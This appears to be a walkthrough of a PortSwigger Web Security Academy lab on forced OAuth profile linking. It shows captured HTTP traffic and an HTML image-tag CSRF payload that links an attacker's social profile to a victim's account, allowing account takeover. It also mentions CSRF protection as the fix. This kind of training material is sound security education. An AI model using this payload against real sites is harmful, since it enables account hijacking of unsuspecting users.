Forced OAuth Profile Linking

Challenge: https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking

Preface

This challenge is interesting as it leverages a Cross-Site Request Forgery vulnerability in order to link the victim's profile to the attacker's account.

Reproduction Steps

Begin the challenge by authenticating to the web application using the provided username and password. Once authenticated, browse to/my-account and observe there is a functionality allowing a social media profile to be attached to the account.

Click Attach a social profile and proceed with the OAuth flow to attach the social media account (which uses a separate set of credentials which are provided by the challenge).

Once the social media profile is attached, observe the request history and discover:

https://0a7600bb04c106ddc0b05660000800b4.web-security-academy.net/oauth-linking?code=6N72V1l1B81uDoTEuGhQ4T3YVh1rvXGgiSr_D-_O9CI

The value in the code parameter is returned in the request before the one above by the Authorization Server:

GET /auth?client_id=o46yycyhxow43nnc4du7y&redirect_uri=https://0a7600bb04c106ddc0b05660000800b4.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0a1000b404330607c03556f9026f0033.web-security-academy.net
Cookie: _session=5KfSpaBvLY_2hZcM7tn2o; _session.legacy=5KfSpaBvLY_2hZcM7tn2o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://0a7600bb04c106ddc0b05660000800b4.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://0a7600bb04c106ddc0b05660000800b4.web-security-academy.net/oauth-linking?code=6N72V1l1B81uDoTEuGhQ4T3YVh1rvXGgiSr_D-_O9CI
Content-Type: text/html; charset=utf-8
Set-Cookie: _session=5KfSpaBvLY_2hZcM7tn2o; path=/; expires=Mon, 10 Oct 2022 16:46:22 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=5KfSpaBvLY_2hZcM7tn2o; path=/; expires=Mon, 10 Oct 2022 16:46:22 GMT; secure; httponly
Date: Mon, 26 Sep 2022 16:46:22 GMT
Connection: close
Content-Length: 287

Redirecting to <a href="https://0a7600bb04c106ddc0b05660000800b4.web-security-academy.net/oauth-linking?code=6N72V1l1B81uDoTEuGhQ4T3YVh1rvXGgiSr_D-_O9CI">https://0a7600bb04c106ddc0b05660000800b4.web-security-academy.net/oauth-linking?code=6N72V1l1B81uDoTEuGhQ4T3YVh1rvXGgiSr_D-_O9CI</a>.

So it appears the code parameter value is mapped to the social media account which was connected to the user's account.

What happens if the OAuth flow is re-initiated and the request which contains the code is intercepted, dropped, and then sent to an authenticated victim? In theory, the attacker's social media account will then be bound to the victim's account thus providing a backdoor for the attacker.

To test this, reinvoke the OAuth flow and intercept the request being made to the /oauth-linking endpoint which contains the code. Drop the request and instead craft a CSRF proof of concept which when visited will invoke that request:

<html>
<body>
<img src="https://0a7600bb04c106ddc0b05660000800b4.web-security-academy.net/oauth-linking?code=6N72V1l1B81uDoTEuGhQ4T3YVh1rvXGgiSr_D-_O9CI">
</body>
</html>

Host the HTML proof of concept and as soon as the victim visits it, the attacker's social media profile will be bound to the victim's account.

The attacker can then use the Login with social media offered by the web application and log into their social media account thus logging them into the victim's account.

This vector could have been mitigated in several ways, first and foremost by implementing CSRF protection.

Last updated